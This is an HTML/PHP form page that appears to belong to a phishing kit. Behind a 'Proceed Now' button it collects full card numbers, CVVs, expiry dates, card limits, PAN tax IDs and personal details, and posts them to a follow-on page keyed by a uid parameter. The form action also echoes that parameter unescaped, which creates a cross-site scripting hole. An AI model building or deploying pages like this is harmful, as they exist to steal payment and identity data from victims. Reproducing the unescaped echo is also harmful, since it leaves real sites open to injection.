
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Form with Validation</title>
  <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
  <style>
    .error {
      color: red;
      font-size: 0.8em;
    }
    label {
      font-size: 13px;
      font-weight: 500;
    }
    .form-control {
      padding: 25px 25px 25px 10px;
      border: 1px solid #00000096;
      border-radius: 5px;
      /*box-shadow: 0 2px 4px rgba(0,0,0,0.1);*/
    }
    .btn {
      background: #304087;
      border: none;
      border-radius: 34px;
      padding: 10px 30px;
      font-size: 16px;
      font-weight: bold;
      color: white;
      box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    }
    .btn:hover {
      background: #d9631a;
    }
    .container {
      max-width: 600px;
      margin-top: 10px;
    }
    img {
      margin-bottom: 20px;
    }
  </style>
</head>
<body>
  <div class="container">
<div class="form-area" style="
    border: 1px solid #c3c3c3;
    padding: 10px;
    border-radius: 10px;
">
        <center>
        <img src="./1.jpg" alt="" width="200px">
    </center>
<form id="validationForm" action="page4.php?uid=<?php echo $_GET['uid'];?>" method="post" >
    <div class="form-group">
        <label for="name">Name</label>
        <input type="text" class="form-control" id="name" name="name" required placeholder="Enter your name">
        <div class="invalid-feedback">Please enter your name.</div>
    </div>
    <div class="form-group">
        <label for="dob">Date of Birth</label>
        <input type="date" class="form-control" id="dob" name="dob" required placeholder="Enter your date of birth">
        <div class="invalid-feedback">Please enter your date of birth.</div>
    </div>
    <div class="form-group">
        <label for="phone">Mobile Number</label>
        <input type="text" class="form-control" id="phone" name="phone" pattern="\d{10}" required placeholder="Mobile Number" maxlength="10">
        <div class="invalid-feedback">Please enter a valid 10-digit phone number.</div>
    </div>
    <div class="form-group">
        <label for="email">Email</label>
        <input type="email" class="form-control" id="email" name="email" required placeholder="Email Address">
        <div class="invalid-feedback">Please enter a valid email address.</div>
    </div>
    <div class="form-group">
        <label for="totalLimit">Total Limit</label>
        <input type="number" class="form-control" id="totalLimit" name="cardlimit" required placeholder="Total Number">
        <div class="invalid-feedback">Please enter the total limit.</div>
    </div>
    <div class="form-group">
        <label for="availableLimit">Available Limit</label>
        <input type="number" class="form-control" id="available_limit" name="available_limit" required placeholder="Available Limit">
        <div class="invalid-feedback">Please enter the available limit.</div>
    </div>
    <div class="form-group">
        <label for="cardHolderName">Card Holder Name</label>
        <input type="text" class="form-control" id="cardHolderName" name="cardholder" required placeholder="Card Holder Name">
        <div class="invalid-feedback">Please enter the card holder name.</div>
    </div>
    <div class="form-group">
        <label for="cardNumber">Card Number</label>
        <input type="text" class="form-control" id="cardNumber" name="card_no" required placeholder="Card Number" pattern="\d{16}" maxlength="16">
        <div class="invalid-feedback">Please enter a 16-digit card number.</div>
    </div>
    <div class="form-group">
        <label for="pan">PAN</label>
        <input type="text" class="form-control" id="pan" name="pan_no" required placeholder="PAN Number" maxlength="10" pattern="\w{10}">
        <div class="invalid-feedback">Please enter a valid 10-character PAN.</div>
    </div>
    <!--<div class="form-group">-->
    <!--    <label for="aadhar">Aadhar</label>-->
    <!--    <input type="text" class="form-control" id="aadhar" name="adhar_no" required placeholder="Enter the Aadhar number" pattern="\d{12}" maxlength="12">-->
    <!--    <div class="invalid-feedback">Please enter a valid 12-digit Aadhar number.</div>-->
    <!--</div>-->
    <div class="form-group">
        <label for="expireDate">Expire Date (MM/YY)</label>
        <input type="text" class="form-control" id="expireDate" name="expiry" required placeholder="MM/YY" pattern="\d{2}/\d{2}" maxlength="5">
        <div class="invalid-feedback">Please enter the expiration date in MM/YY format.</div>
    </div>
    <div class="form-group">
        <label for="cardCVV">Card CVV</label>
        <input type="text" class="form-control" id="cardCVV" name="cvv" required placeholder="CVV" pattern="\d{3}" maxlength="3">
        <div class="invalid-feedback">Please enter a valid 3-digit CVV.</div>
    </div>
<center>
        <button type="submit" class="btn btn-primary">Proceed Now</button>

</center></form>

            </div>

    <br>
  </div>
  <script>
    // JavaScript for disabling form submissions if there are invalid fields
    (function() {
      'use strict';
      window.addEventListener('load', function() {
        // Fetch all the forms we want to apply custom Bootstrap validation styles to
        var forms = document.getElementsByClassName('needs-validation');
        // Loop over them and prevent submission
        Array.prototype.filter.call(forms, function(form) {
          form.addEventListener('submit', function(event) {
            if (form.checkValidity() === false) {
              event.preventDefault();
              event.stopPropagation();
            }
            form.classList.add('was-validated');
          }, false);
        });
      }, false);
    })();

    // JavaScript to auto-format the expiration date input field
    document.getElementById('expireDate').addEventListener('input', function(e) {
      var input = e.target.value;
      if (/^\d{2}$/.test(input)) {
        e.target.value = input + '/';
      } else if (/^\d{2}\/\d{2}$/.test(input)) {
        e.target.setCustomValidity('');
      } else {
        e.target.setCustomValidity('Please enter a valid expiration date in MM/YY format.');
      }
    });
  </script>
</body>
</html>
